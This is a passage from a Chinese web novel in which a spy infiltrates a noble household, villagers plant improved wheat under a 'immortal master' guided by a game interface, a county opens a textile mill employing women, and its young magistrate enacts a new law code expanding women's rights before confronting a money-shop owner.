祝家内部小路很多,若不是跟着前面的人,寻宁自觉她不会这么快便摸清楚位置,等到了祝时所在之处时,那些小厮只留下两人站在门外守夜,剩余人则是分散开来,将整个院子围了起来。 而除此之外,寻宁察觉到那屋顶似乎也有人把守着 奇怪,这祝时到底是怕死还是有别的担忧,为何要将家里布置得这般严密,仿佛害怕透露出什么东西一样。 但越是防范得这般严密,这越能说明此人确实有问题。 寻宁打起十二分精神,在摸索到换班的规律后,她眼疾手快,敲昏了负责守夜的侍卫,飞速和此人换了衣物。 等她顺利挪移到门前位置时,屏气凝神,静听屋内动静。 几乎没有什么声音,但跳动的烛火表明此人确实还不曾入睡。 靠着敏锐的耳力,寻宁似乎听到了笔尖磨蹭宣纸发出的“沙沙”声响,这声音她不会听错,托方大人的福,在县内她听了不少次这类声音。 而后便是屋内传来了翻阅书本的清脆声音。 ——祝时是在看书写字?这么勤勉?今天可是他爹的寿辰,主持完了寿辰后竟然还能这么淡定的读书写字? 寻宁先前就不是特别懂方知意的过分勤勉,现在目标人物也让她逐渐看不懂。 不过不知为何,心头却隐隐传来一阵不对劲。 虽说按照道理,她既看到过方大人这样勤勉,对祝时这番作态也能理解,但实际上,寻宁有些迟疑。 方大人勤勉是因为风仙县起于微末,百废待兴,且集闻楼内藏书众多,再加上她是为了百姓能过好才如此勤勉,那这祝时勤勉又是为何? 若按照这黎州元城众人所说,这祝时从小就天赋卓越,几乎达到了过目不忘的境地,对本朝藏书此人都达到了心中有数,尤其是如今他已有二十九岁,又何故这般努力? 但万一这人就是喜欢读书呢? 寻宁微微头疼,但很快做出下一步计划。 既他今晚写了东西,看了东西,等到明日,她必须要进去看看此人到底所看,所写内容为何? 守夜守到黎明后,院子里来了负责洒扫整理的丫鬟。 寻宁故计又施,借着洒扫丫鬟的身份终于进入屋内。 这屋内比她想象中要大一些,窗明几净,繁复的竹纹雕刻显示着主人非凡的品味来。 趁着收拾桌面的机会,寻宁终于看到那上面放着的写满字的宣纸,为避免被洒扫的丫鬟察觉到不对劲,她伸手,作势要合上桌面上的宣纸。 当寻宁趁机扫过宣纸时,看清楚上面所写后,倒是陷入沉思。 第135章 信鸽 并不是什么值得被藏起来的内容。 宣纸上展开的是一篇静心咒。 其实在没看到这上面所写内容前,寻宁猜测这上面不可能有什么特别有用的东西,但一篇静心咒又是何用意? 分明昨晚是祝老爷贺寿之日,祝时作为府内位高权重,颇受宠爱的嫡子,没道理会写这东西。 脑内闪过千丝万缕的想法,但事实上,寻宁收起宣纸的动作飞快。 她假装将这玩意揉成一团,塞进书桌下面的杂物桶内,——这桶内塞了薄薄的一层废纸,她在考虑一会出去了将这些东西全部带走。 除了必要带走的纸张外,寻宁的注意力再次被桌面上的书籍所吸引。 和祝时所写的东西不同,这一本却是实实际际的政论书籍,内容晦涩难懂。 她动作很快地伸手去触碰这书,很快就注意到书籍的右下角被折起来一个小三角形。 ——代表书签的意思? 虽有些怀疑,但寻宁依旧将书籍收拾起来,打算塞进对面密密麻麻的书架上。 但很快有个丫鬟略带惊慌地阻止了她。 “别动,放在那儿,不然大人会发火的!” 寻宁手中的动作慢了一瞬,她垂着头,像是被提醒后惊吓了一般,一下将书放回了原地,然后就听到眼前这丫鬟有些不耐地吐槽。 “你发什么呆,这活做了多少次了,这次怎么能犯这种错?” 寻宁不曾说话,假装肩膀颤抖,好在这丫鬟不再搭理她,转而去做自己分内的事,这让寻宁松了口气。 当她找机会处理完毕那些废纸后,便听到书架那边的两个小丫鬟窃窃私语。 声音很小,听上去仅仅是两人之间的私密对话而已。 但实际上,这些话逃不过她敏锐的听力。 “大人真是怀旧,这些书不是很早以前都已经看过了么?” “小点声,可能是想回忆一番过往?” “不过大人自从大病了一场后,倒是变得和先前不太一样了” 这两人的对话很快就消散在风中,而寻宁则是蹙眉,反复咀嚼着这几句话。 趁着周围没人,借着擦灰的机会,她抽出书籍,快速浏览翻阅。 这些书很正常,她甚至能注意到上面写着的注解,再翻阅几本书,便能看到上面的注解更是多了起来——所以没想到祝时这么勤勉? 似乎又能和他昨晚那离谱的行为对上号了。 但一想到这人写下的那篇清心咒,寻宁便忍不住多了几分别的猜测。 当她顺利从祝府混出去后,找机会去和师姐见了面。 坐在私人的茶馆包间内喝茶时,寻宁这才拿出那些废弃的宣纸,一一展开和师姐研究上面所写。 除却那清心咒以外,她注意到这里面竟然大部分都是一些毫无关联的东西,譬如诗歌,又譬如佛书,或者道家道法,看上去没什么相关,但却让人足够奇怪。 虽说寻宁不太了解这类天才的想法,但想象一下,若代入方大人视角,她很难相信方大人会天天熬夜写这些没什么作用的东西。 寻宁内心深处闪过一丝疑惑,但也说不准,毕竟两人性格不一样。 倒是寻安蹙眉看向这些东西,脑内似乎有什么线索快速划过,但这思绪来得太快,太难抓住,一时间她倒是先开口说出别的消息。 “寻淼找机会进了药馆埋伏,虽说祝时还没来,但稍微打听到了一些新的东西。” 寻宁抬眼望着师姐,便听她继续道:“十六年前,祝时大病了一场,在家休整了有三年后,这才再次复出,于是我们调查了那十六年前他到底得了何病,但很可惜,所有的资料全部被处理了,且” 寻安停顿了片刻,侧头淡淡道:“那日负责给祝时看病的大夫也在当年不日后病死,或许可以这么说,当年但凡是参与其内的知情人,全部消失了。” “消息调查很费劲,这件事牵扯的东西竟然比我想象中的要多得多,除了药馆这边,祝家那里我也打听到了一些消息。” 寻宁去看师姐,便看她轻薄的唇间缓缓吐出一句话。 “祝家在当时遣走了一批下人,说是这些人因未曾照顾好祝时所以被迫送走,但实际上,这些人以及他们的家人,也全部消失在了元城,其中甚至有家生子,但也被一并遣返,不知下落。” 屋外不知道何时开始下起雪来,寻宁逐渐变得冰凉的目光无意识般绕过师姐,看向窗外飘荡着的白雪。 这场覆盖黎州的初雪,就这样飘飘洋洋的洒落,似乎要将她们谈话内容就这样彻底的埋没。 但她们都知道,这场注定困难的任务,现在不过是被撬开了一个缺口而已,但事实上,也只需要一个缺口,就可以抽丝剥茧,直到将整件事情的真相拉平展直,彻底复原。 寻宁无意识间垂头,而窗外却传来一阵熟悉的扑腾声。 她懒洋洋地抬眼,便看到那只黑色的信鸽像是流水一样顺滑地滑在了她的指尖。 飞进来时,信鸽身上还带着几片毛茸茸的雪花,洁白,和它漆黑的背部形成了鲜明的对比。 她就这样静静地看着那雪花融化在黑色的背羽,然后呼出一口饱满的,含着热气的叹息。 “被养胖了,下次多飞点。” 信鸽像是不满一般跳在她的指尖,用那鲜红的喙去啄她带有薄茧的手,但却被寻宁轻捏脖颈,控制在一旁。 “还请师姐帮忙给方大人写一封回信吧。” 寻安拿出早就准备的情报,快速绑在了信鸽的脚部。 “来得还挺巧,我正打算将这消息同步给方大人。” 确定绑好了后,寻宁松开信鸽,本想放它走,但却犹豫片刻,从怀里拿出鸟食喂了喂它。 它吃得很投入,也很快,等到彻底吃饱了东西后,信鸽开开心心地飞走了。 看着那抹黑色消失在空中,寻宁要返回荣府,继续寻找机会去探寻那祝时。 二人很快分别,等待着下一次的会面。 而与此同时,姜定则是看着屏幕内弹跳出来的新提示发呆。 【你的酒厂缺少原材料小麦,请投放。】 酒厂,话说多久没去看酒厂运营了? 姜定有些恍惚,记忆内酒厂的建设和运营他托付给了一个道士来着 点开酒厂页面,确定填充小麦后,姜定突然想到了一个更为严肃的问题。 等会,他忘记在这个月份种植小麦了!!!!大崩溃啊! 赶紧看一眼游戏页面的时间,显示的还是十一月,在确定冬小麦种子还处于可种植的最后一个月份时,姜定仿佛急得要和时间赛跑。 先前他就试着培育筛选优质的小麦种子了,结果因为中间要操心的事情太多,再加上他将种植小麦的那块农田安排的位置有些不够抢眼,所以这才遗忘了这事。 当姜定火急火燎地点开种植着小麦的那块农田时,恰好看到了继续收货小麦的农人们。 这些农人脑袋上轮番显示着“已经十一月了,小麦种植快来不及了”或者“”的词条,姜定看得头疼,忙将这任务一股脑交给了里正。 而此时,再次获得仙师下发任务的里正则是被那金色光门引着上了山。 看到那片金黄灿烂的麦田,看到那被仙师成为优质小麦的种子时,他忍不住老泪纵横。 ——上次被仙师要求明年四月份种植棉花,本以为仙师是不打算在今年种植小麦了,虽说里正知晓山上有一片麦田,但他又哪敢以凡人角度去思索仙人所想,自然是仙师怎么安排,他就怎么听了。 现在倒是没想到,他被喊过来要求将这种子分发下去。 说不激动是假的。 而麦田处,负责收割的农人则是松了口气。 “我说仙师自有安排吧,里正不是来了吗,肯定是过来拿种子的,要不了多久,咱们村子里就能全部种植上这优质小麦了!” “这种子的确好,但是不知道在咱们村里的土地种下去的话,产量会不会降低?” 两人低声交谈,但依旧按耐不住心中的欢喜。 ——要知道,小麦可远比粟米好吃,只不过因为小麦产量低,不适合被广泛种植,这才没能顺利被推广开来。 但试想想,谁不想吃一份热气腾腾的面条,或者是包子呢,反正总比吃完后还会反酸的粟米强。 负责种植小麦的农人眼睁睁地看着里正急匆匆地直奔山上的学堂,而后再急匆匆的下山。 ——不是,种子不要了?还是说,他们想错了? 但当傍晚,众人再次打开仓库,要将今日收获堆积入仓库时,这会就看着眼前空无一物的仓库发呆。 满仓库的小麦去了哪儿? 似乎是想到了以往仙师挪移天地的手法,众人在片刻惊异后瞬间接受良好。 而在看完了种植冬小麦所需的知识点后,里正满怀自信的下山了。 从学堂内学到的知识,足以解答他先前的疑惑。 他不是没种过小麦,但大多数时候,小麦的收获很是差劲。 当看完了学堂内的课程后,里正这才明白他所欠缺的地方。 除了小麦本身的品种外,种植时间,种植深度,以及每亩地种植密度,何时埋肥都有着固定的时间。 这些东西聚集起来时,并没有他想的那么难,但里正很清楚,若不是仙师给了他们优秀的种子,传授了他们关于小麦种植的知识,他们是无法凭借着自己快速琢磨出来这些需要时间,只有大量犯错,多次试验后才会得出的知识的。 第136章 开工 当一批批小麦种子被仙师用仙法送过来后,里正没浪费时间,立即再次开了一批会议,召集了本村所有有耕地的村人。 等到听到要开始种植小麦时,大部分人摸不着头脑。 “里正,这小麦产量低,咱们要种植多少啊?” 里正脑内闪过仙师给自己的那堆小麦,大概估算出一个种植范围。 “本村的耕地一共有2000亩,除却需要种植地瓜和大豆的耕地,大概需要种植约500亩的小麦。” 听到500亩地这个描述后,众人忍不住地呼出一口气。 “500亩?里正,这是不是太多了?要知道往年咱们种植粟米是最多的,这” 里正看着质疑的众人,缓缓道:“若是担心种子问题,仙师早就散下仙种,此小麦种子产量高,不易生病,此乃不可多得的宝物。” 话说到这里,众人顿时不再言语,面露恍然。 ——原来种植小麦是仙师的意思啊!里正这事弄的,早说嘛!要是早知道是仙师的意思,他们还至于质疑嘛! 不过这话可不能对着里正开口,只是里正感觉众人原先的不确信此刻烟消云散,各个跃跃欲试不说,甚至已经开始要抢着种子去种下去。 里正:所以还得是仙师的号召力吗??? 到底呼出一口,喊住众人:“别着急动手,还有一些种植技巧我得先和你们说明白了,不然等之后因为这事搞得产量不行,到时候可别来找我!” 乱哄哄的人群像是被按下静止键一般,齐刷刷地盯着里正去看。 里正快速讲解了他从学堂内学到的知识点,等确定没有纰漏后,这才放众人离开下地播撒种子。 因为已经是十一月了,种植小麦的进度必须要更快一些,不然赶不上之后的初雪。 风仙县,负责建设珍妮纺纱机和轧棉机的杨老则已成功开始生产机器了。 目前机械厂的员工不算很多,只有一百来名,但这些人都是杨老一一审查后入门的,别的不说,至少都是值得信赖的人。 确定各区域正常工作,工作流程无失误后,杨老这才细看着被成功生产出来的两样机器。 其中最吸引他注意的自然是这八锭纺纱机,先前杨老还有些忧虑,生怕不能快速复刻这等精密之物,但当他按照那示意图,稍加改动后,比他想象中顺利多了,很快便将这纺织机完全落地。 抚摸着这等神奇之物,杨老不免心情激动。 ——他这边机器是做好了,不知道方大人是否招好了纺织工? 而另一边,方知意早就将这任务交付给了赵金构。 而赵金构倒是不负她所托,很快便在当日寻了一百来人的纺织工。 只不过大部分技术算不得好,只能说勉强够用的水平,但无所谓,本身方知意就没打算让这批纺织工做那些精细的活计,只要说能在冬天来临前顺利做好足够多的冬衣被褥便足够了。 这一百来号人自被招收后,各个难掩脸庞兴奋之色。 先前本地新开设陶瓷厂时,那会招收工人,她们也去试了试,但因为所需的是泥塑匠人以及需要干体力活的岗位,当时不出意料,没被选上。 说不难受是假的,但好在在陶瓷厂之后,又出现了不少岗位,譬如酒楼伙计,这些职业。 工钱最少也是日一百文,不少人当时转头选择去了别的地方。 不过相对厂子的大量岗位,那些零碎的岗位还是太少了。 于是本县内不少牙人则开始蠢蠢欲动,推荐她们可以前去那斗坡村试试看,毕竟那边虽说工厂也不再招收新人,但好歹零工的活计还有。 一时间,不少人心动了,毕竟别人都开始日百文百文的赚,自己不赚钱实在是心理压力大啊! 正打算前去那斗坡村试试时,倒是没想到本县竟然又招工了!而且更妙的是,这次招的是纺织工! 要知道这年头哪个妇人不会纺织?换句话说,又有哪个男人会纺织? 几乎瞬间,本县内一片哗然,妇人们争先恐后地跑来应聘,毕竟在她们看来,这次机会可要比之前的机会大多了,毕竟因为这次职业的特殊性,起码刷下去一大部分男人,只有在需要做力气活的岗位,男人才会被招收进去,但她们并不要和男人竞争那个岗位! 而且最值得一提的是,这次招收的人竟然还不少! 盘算一番招收上的好处,只要是会算账的,谁心里能不激动? 第一天招聘很快便招收完了第一批所需工人数。 而这150人在被招收的第一天,先被带着去了纺织厂内。 等走到厂内,众人都看到了里面似乎放置着不少轧棉机以及纺织机。 等走近一些,众人这才发现,这两样物品竟然不是自己曾看到过的机器! 一时间,有些心理素质不太好的已经开始有些害怕——这些东西她没用过,若是弄错了可该如何是好? 本想问问,但想到自己不过一见识短浅的农妇,何苦说些没什么见识的言语来惹人发笑! 索性便不再开口,转而听着那管事的开口。 负责管事的是一上了年纪的娘子,此人盘着头发,穿着藏蓝色的衣服,将自己收拾得干净又利落。 “各位娘子们应当先前不曾看到这两物吧? 我知道你们心里紧张,但没关系,这两物是本厂最新研究出来的新机器,使用方法很简单,我保证你们一学就会。” 和面上的严肃不同,这钱娘子讲话风趣又温和,一时间倒是抚平了不少年轻娘子那紧绷的心。 尤其在讲解演示期间,钱娘子深入浅出地将那使用方法,注意事项完全讲解完毕,等众人听到这纺纱机可以一次性纺8根纱时,顿时各个惊疑。 “8根纱?这是如何做到的?” “钱娘子,您说的这话可是真的?若一次性能纺8根纱,是不是操作难度很大啊?” 说这话的是一个年纪尚小的小娘子,她一双秀气的脸庞因为紧张而变得苍白,——先前她使用家中那最为普通的纺纱机,纺纱速度也不快,且扪心而论,她的技术并不出色,因快到寻觅嫁人的年纪了,她想着试试看,看是否能自己给自己找个工作,无论是日后嫁人或者是自己养活自己,总归是有好处的。 倒是没想到,这次能被招收进来本县新开设的纺织厂内。 感激庆幸之余,她又有些害怕,害怕自己做不好,害怕她因为拙劣的技术被赶回家。 若被赶回家的话,她觉得她肯定会羞愧得要死,毕竟这不是广而告之她纺织技术一团糟吗? 似乎看穿了小娘子脑内想的东西,钱娘子摇头,缓缓露出笑容。 “不会,这机器设计得甚是精妙,同时纺8根纱,难度和你们素日纺纱的难度相差无几,甚至因为改良过技术,纺纱更轻松。” 众人面上看上去都不太相信,钱娘子明白这不是靠着讲解就能让众人感受到的事,索性不再多说,反而提起了另一事。 在说此事时,她那张先前还露出笑容的面庞凝固下去,变得严肃。 “最后一件事,这两样机器均为本县最新,最前沿的机器,为了保密,为了不让别有用心之人打探到这消息,所以出了这个门,谁也不允许谈论这工作内容,若有违反这话的人,到时候可别怪我钱娘子翻脸不认人。” 眼看那温和的笑容一寸寸消失,众人忙像鹌鹑般点头。 “钱娘子放心,我等晓得。” 既然该交代的都交代完了,钱娘子将这些人分别安排在各自的岗位上,纺织厂算是正式开工了。 一人往里面填充着尚未脱籽的棉花,另一个人转动着轧棉机的摇臂,木制的滚轮碾过那棉花,几乎是片刻,一团团洁白柔软的棉花和那坚硬的棉籽便分离开来,速度不可谓不快。 负责摇机器的是两个妇人,本以为这活计会累人,毕竟她们原先也做过这脱棉籽的工作,但一上手这新机器后,二人这才明白这机器的巧妙来。 ——省力!只需要不到原先一半的力气,但效率却很高! 棉籽很快聚集成一大堆,而后被另一人塞入袋子内收集起来。 毕竟棉籽可以压油,油可以吃也可以用来润滑机器部位,且压油后的渣滓可以作为牲畜的食物,或者是在堆肥后作为土壤肥力,亦或是投入沼气池内,总之棉籽用处多多,作为棉花的附属产物,自然是需要收集起来,另做他用。 至于那负责纺织的妇人们,上手后也各个面露奇异。 ——怎么做到的,这确实如同钱娘子所说,虽然一次性纺8根纱,但竟然不比家中的纺纱机难! 那先前还害怕的小娘子,这会也在上手后逐渐适应 好用,比她想象中好用多了,机器顺滑无比,不会出现卡顿现象,踩下踏板时,那8根纱线飞舞,快速地转动,而后将棉花汇聚成一根根纱线。 整个过程让人看着舒适无比,一旦投入进去,整个人似乎能随着这股律动工作,一番下来,竟是不累人! 而等到纱线被生产出来后,那织布机上的梭子在经纱之间穿梭,将纬纱和经纱交织在一起,形成一块块细腻的,泛着微微黄调的棉布。 这棉布她曾用手抚摸过,比家中普通机器织出来的布要细腻一些,以往需要一天才能织出来的布匹,如今竟然只需要半个时辰就织出来了? 妇人们各个惊叹,而后再度投入工作内。 毕竟钱娘子曾说过,这织布采取的也是保底工钱外加计数奖励的模式发放工钱的! 第137章 枷锁 虽说是按照所生产布匹长度计算工钱,但和陶瓷厂要求相同,不允许因为贪图速度故意做坏布匹,若是合格率太低的话,可是会被钱娘子劝退的。 不说别的,第一批进入纺织厂的人没有一个人是想丢了手头的工作的,毕竟离开这里,哪里还有这般轻松的活计?又是包吃,若按照一个手脚普通的纺织工来计算的话,一天至少都能赚两百文左右。 先前一百文时,众人就已经眼馋不已,何况现在的两百文?自然是各个谨慎行事,生怕因为出现一些差池被辞退。 先前那陶瓷厂就有一类似事,有人炫耀自己的高工钱,然后被嫉妒他的人举报后差点丢了工作,自这件事后,自然是没什么人敢轻易去炫耀自己的工钱。 而妇人们除了有这现成的例子以外,还有不少人有着异样的想法。 ——既靠自己便能获得这般高薪,她以后便能挺直腰板了,这些钱自然是要留下来,留给自己当做定心丸才行。 若是随意炫耀工钱,想必过不了多久,这钱就会被人以各种各样的借口弄走,还不如死死隐瞒,自己存下来才是真的。 不少机灵的妇人便假装自己每日赚一百文,剩余的一百来文则是偷偷攒下来了,毕竟外面的人又不清楚她们采取的计算工资办法,最多就知道工资最少便是一百文。 不过即便是暴露出这一百文的工钱来也能让她们在家中稍微挺直腰杆,不需要像是以往那般卑微,毕竟现在谁能赚钱谁便有话语权。 等到这些妇人下工后回到家中,不免有人好奇询问她们那纺织厂内部如何,但均被众人敷衍过去,问就是不允许透露工作内容,至于工资的话,她们也一概采取模棱两可的态度。 纺织厂招收女工这事倒是在另一层面引起了新的意识变化。 原先时,因为男孩生下来更有用,能够帮着干更多农活,所以先前民间重男轻女的风气十分严重,尤其是家中贫困的人家更是如此,但现在,既本县内出现了只有女子才能做的活计,且只要是明眼人都能发现,越往后,在仙师的管理下,本县内只会拥有越来越多的岗位。 这个时候,便需要很多人过去干活了。 而回顾先前,仙师对待男女均是众生平等,既不是单凭着力气决定有用与否,再加上先前学堂内出现了不少聪慧的女娃儿,这对于那些迫于生计压力,在以前会毫不犹豫丢弃女婴的人家来说,这会不免陷入犹豫,最终叹息一声,还是选择将女孩养大,——万一自家女儿也聪明呢?上学堂后有机会去仙师身旁侍奉,这多么难得啊!到时候全家可谓是一步登天! 再往差的方面说,就算不够聪明,未来也能在本县内找个活计干着,不至于说完全需要家中单方面花钱养活。 民众的想法很单纯,单纯中带着残忍,对于他们来说,能活下去,还有机会活得更好,那就去干,若是一件事肉眼看过去完全赔本,那么他们便会残忍地在这件事刚开始的时候,掐灭它。 民众思想的变化早就在方知意的料想中。 她原先想过不少办法,想强迫实施下去,但很快仔细研究后便觉得行不通。 ——百姓不可能凭借着无感情的律法害怕某件事,正所谓上有政策,下有对策,若一件事不能让他们从中窥探到一线好处,便不会想着积极推进,但反过来,若是能从这些人的角度出发,反而会让此事好办一些。 无论是学堂那边的消息,亦或是这纺织厂的消息,均是在她的授意下大肆宣扬。 既这步棋效果不错,那便要开始继续她的下一步计划了。 第二日,报刊发行了一版特殊的报纸,——其实不能算报纸,应该说是先前被仙师认可,通过方知意一手策划,最终定稿后的律法来。 完整的律法足足有926条,方知意编撰了许久,结合那集闻内的不少书籍,彻底完善了脑海内的律法。 她目前所写的律法严谨程度要远超先前大炎朝的律法,杜绝了一切可操作的漏洞。 不过虽说律法有近千条,但真正需要民众知晓并深刻理解的律法要少得多。 在这特殊版的律法发布后,紧接着,报社又下发了两版较为简易的报纸,依旧是无拼音和有拼音版本,只是这两张报纸内刊登着最为基础的律法,若非日后打算专业学习律法方面的话,其实仅仅阅读这两版简易版本的便足够了。 这消息过于轰动,等到报纸发行不到一个时辰,全部被抢购一空。 本县内无论大大小小的百姓,脑内均是像是炸开锅一般——新的律法,这完全是要和大炎朝分割开来啊! 先前二者之间的界限还有些模糊,但在新的律法出现后,那条模糊的分界线此刻凌厉万分,这铁一样的事实告诉着众人,风仙县,彻底和大炎朝势不两立!毕竟一国不有二法! 风仙县内的不少人开始生出恐惧。 原先还能告诉自己糊涂一天算一天,但现在这律法一颁布,这和亲手把自己的反叛证据写下来有啥区别? 这些人想得很好,——风仙县被攻下来不是他们的错,他们依旧是大炎朝的一员,只是被迫接受发生在本县的一切,而非主动去接受,若日后论过错的话,左右法不责众,但现在风仙县成为了大炎朝的对立面,日后朝廷攻打过来,谁还在乎他们是主动还是被迫?早就一并按作贼子击杀。 一时间,墙头草群体,激流涌动,人心惶惶。 而作为底部的普通民众没想这么多,上面到底是由谁来掌握对他们来说日子都是一样过,但现在,他们愿意跟随着仙师,跟随着县令大人。 从最肤浅,最实际的方面来说,跟着仙师和县令大人,他们吃饱穿暖,享受到了太多原先不曾享受到的东西,若不是这两位从天而降,不说他们能有未来,怕是早就死在了那攻城的敌军手上,死在城外逃亡时遇到的流匪手中,亦或是瘟疫,亦或是活活饿死,冻死在任一处。 一个是能在手心紧紧握着的,一睁眼就能看得到的东西,另一个是像是吊在眼前的胡萝卜,饿得要死伸手一抓却抓了个空的东西,只要不是个傻子,应该都懂会选择什么。 律法最让他们惊讶的并非是颁发律法这个行为,而是那被写出来的条条律法,律法中明确写道,人口买卖,贪污,抢劫,偷盗,杀人,杀婴,以及□□,殴打他人,以及自家妻儿均是犯罪行为,按照带来的伤害程度以及对社会危害性再次划分等级惩罚。 除却这些以外,对于男女之间的成亲,和离也有了新规定,成亲年龄有所限制,男女最低成亲年龄为18岁,和离的话财产分割则是落实到了实处,分为过错方和非过错方,过错方一方分到的财产数额明显小于非过错方,且按照婚后责任,以及抚养孩童具体做了划分。 而在这成亲方面,再次加大加粗写了一个全新的名词——一夫一妻制。 从字面上理解便是,过往的纳妾行为不再追究,但自本县法律颁布后,日后只允许实行一夫一妻制度,若有违反,便是犯了重婚罪。 除却这些以外,律法再次重申了法律之下人人平等的概念,强调每个人都是有着基础权利的公民。 除了这些最为严肃的问题外,律法中也写了关于工作方面的律法,拖欠工资该怎么做,本县最低工资为多少,这些非常贴合民众日常生活方面的律法。 而对于民生方面,尤其是土地方面的划分,则是有了新的改变,大概宗旨便是土地均是仙师的,由仙师优先分配,但要保障每一个具有本地户籍的百姓拥有土地的使用权 即便是简单的律法,也涵盖了生活的方方面面,一时间读下来后,让人不免生出头晕目眩之感。 在报纸的最下面一行,写了一行加粗的特别注意。 特别注意:从今日起,以往律法作废,全权按照本律法定罪,执行时间为xx年xx月x日。 这条消息一经颁发,顿时惹来一片舆论。 等会——这律法感觉有很多方面,都让人觉得很不真实??? 不少人在初看到那上面写着的东西时,一时间有些接受不能。 ——怎么感觉这个律法更加偏向于妇人?联想到县令大人本身就是女子,众人不免面色难看,思绪翩飞 对于此等“不公平”律法,自然是有些不服气,但谁敢去找县令大人理论一番? 想到先前县令大人那般威慑四野的残忍手段,众人不免觉得背后凉飕飕的。 他们是疯了才会去主动找死! 但再仔细看了一番新的律法,顿时又觉得自己原先存在的某种权利似乎消失了许多 而与此同时,风仙县内看到这新律法后的妇人们则是心生震撼。 ——她们从未想过,那等高高在上,不食人间烟火的仙人,县令大人,竟然会将目光聚焦在她们身上。 大炎朝对女子的要求颇为苛刻严厉,“七出之条”,“夫尊妻卑”,以及犯下相同过错时,只是因为是女子的身份便会被罪加一等,除了这些以外,女子不能入学堂,入仕,入祖庙,在没有家中男性同陪的情况下,不允许出门 种种严苛,便不一一列举。 而如今,那些束缚她们的古旧律法,伴随着新律法的出现,彻底飞崩离析。 第138章 钱庄 新律法颁布的第一天,风平浪静,似乎是众人还不曾反应过来。 这般宁静,白思妙有些不安,——毕竟她是知道那律法中规定的内容和原先相比有多么“反叛”。 几乎是将先前的一切条例全权推翻,在那废墟之上重建一份新的法律。 尤其是特意加强了妇人的权利,规定女子必须要拥有分润土地的权利等等。 原先方知意和她,孙姐姐倒是提过这事,当初她们三人觉得或许这律法应当缓缓过渡,而非一次性成型。 原本是这样的,但在方知意看完了一本书后,却改变了这般想法。 到后来,她制定了那律法,而后在通过仙师的批准后,彻底开始执行律法。 白思妙知道这律法到底会带来哪种改变,所以她才会这般关心此事。 本以为怎么这些人也会恼怒,反抗,但想象中的激烈反抗并未成型,反而寂静如常。???这怎么回事? 而孙凝羽则是眉头微蹙——看似风平浪静,实际上暗流涌动。 茶楼。 赵金构正拿起那份律法,看得津津有味。 自从昨日这律法颁布后,他这里便被送来了一份完善的律法,从昨日看到今日,总算是彻底看完了。 他倒是没想到,方大人竟会将这律法设定得这般精细,这般新奇,这般肆意。 不知为何,赵金构想到了那日和方大人讨论律法时的模样,当初他便隐隐猜测所讨论的方向可能是日后律法的范围,但既然方大人不曾挑破,他也装傻便是。 直到提到平权,提到那些惨烈的女子。 赵金构脑内不免想到了他那早死的母亲 记忆中母亲的面庞已经很模糊了,他隐约记得母亲长得很美,但常年带病,衣袍上总是沾染着一股股浓厚的药味。 那个时候,他还很小,不知道母亲是否开心,是否如意,但最终一切伴随着那抹脆弱的身影倒在床上结束。 脑内属于母亲的面庞早就慢慢消散,只剩下那一股股浓厚的药味似乎还在鼻尖萦绕。 方大人还在讲述她的看法,而赵金构的心却飘得有些远 若母亲也能生在此时,她会活下来吗? 能否高兴一些,开心一些? 他不知道,但是他想,或许会。 于是很快,他便为方大人提出不少颇有建设性的解决方案,一一列举,确保此项律法能够落实到位。 倒是方知意看他眼神有些惊诧,仿若能做出这事的人不是他。 但只有赵金构知道,他确实该这么做。 茶香将他拉回现实,想到那些老古董看到这律法后的模样,赵金构便忍不住勾起唇角,那张脸上全是淡漠的笑容。 而与此同时,不少人却做出了不同的选择——逃离风仙县。 至于为何要逃离,那自然是因为自从风仙县律法颁布后,这便是一随时能要了他们命的剑,除了这因素以外,也是因为那律法规定对于他们这种有钱,且有仆从的人来说实在是不友好。 先前仆从犯了错,打死了也没人敢说话,但现在不同了,自那律法下来后,他们不仅仅不能再随意打杀仆从,甚至还要给这些仆从付费! 开什么玩笑!这些人的身契可还捏在他们手心呢! 一想到过往积攒下来的东西似乎隐约要消失不见,这些人自然急了,想着法子地琢磨着出路。 本来想看看风向,看看有没有反对此律法,好让他们借机发难,但事实上,并没有那么傻的人会在这个节骨眼上对县令大人,对仙师有所不满。 计划落了空,自然只能先按照原计划暂时离开风仙县了。 先去那黎州避避风头,等看清楚风向后,日后再回来也不迟啊! 只是——如何离开,众人却犯了难。 城门如今把守的甚严,他们若想带着家产大摇大摆地离开,未免太难了! 若光是带着小部分家产离开,剩余的家产岂不是要白白便宜了别人,细想之下,又很是心疼。 一番思索下,倒是陷入僵局。 这些人大都在本县经营着布庄,粮货,种子,钱庄等行业,这会这把火烧到了自家,自然各个惊恐。 还没等讨论出个章法来,官府的人先来一步,率先将钱庄团团围住。 话说,自从那律法下来段掌柜不曾睡过好觉。 不对,这话说得不合理,应当说,自从仙师掌管风仙县,方县令统领全县,却数月不曾来找他时,他日日夜夜陷入焦虑,而现在方县令上门来了,和以往的恐惧焦虑不同,段掌柜只觉得自己突然像是那破了气的皮球一般,顿时心落到了肚子里。 ——总算是来了。 在有人通报后,走在最前面的便是方知意。 个头相对于同龄女子来说算高的,但若对比那些个成年男子来说,方县令单看模样实在是没有说服力。 但当她缓缓走来时,段掌柜却感觉到一股说不清道不明的恐怖压力逐渐袭来。 这股强烈的压力让他不自觉垂头,只敢用余光注视着这位传说中的县令大人。 ——据说这位大人年仅十六岁 但先前将本县豪绅杀得人仰马翻的便是她,还有那些水利工程,防疫,以及抵御外敌 回想到本县内的各个大事件,竟都是眼前这十六岁的县令一手操控。 段掌柜不由额间出汗。 等到被方县令“请”到屋内时,段掌柜觉得自己的大脑才刚刚回神。 刚命丫鬟给泡了壶茶水,恭维刚说出去,嘴还没挨上茶杯,便听对面传来悠悠的笑声。 “段掌柜,说实话,我很吃惊你这几个月内竟然不曾逃跑。” 刚想喝茶清醒一下的段掌柜顿时脑袋就炸开了花。 ——等等,这是何意? 那抹诧异还来不及收回,便看到对面方大人的面庞带笑,看上去颇为人畜无害。 但就在这瞬间,段掌柜忍不住浑身颤抖,就差没跪下来求饶了。 这话是在点他么? 说实话,先前他不是没想过携款逃跑,但架不住觉得外面还在乱战太过于危险,路上盗匪还多,他揣着这么多钱上路,不可能没有风声传出去,到时候一离开风仙县,和肥羊有啥区别,再加上当时新县令并未过来找他麻烦,双重刺激下,段掌柜迟迟没能下定决心。 而后又看着本县发展颇为顺利,再加上他也确实是待习惯了风仙县,用过了沼气池,用上了便捷的马桶,那颗想逃走的心逐渐被蜜糖腐蚀下来。 谁能想到本以为生活会这样平静无波的继续下去时,意外出现了,方大人主动找上门来,还将他过往曾经构想过的猜想直白地揭露出来。 段掌柜名为理智的那根弦崩开了。 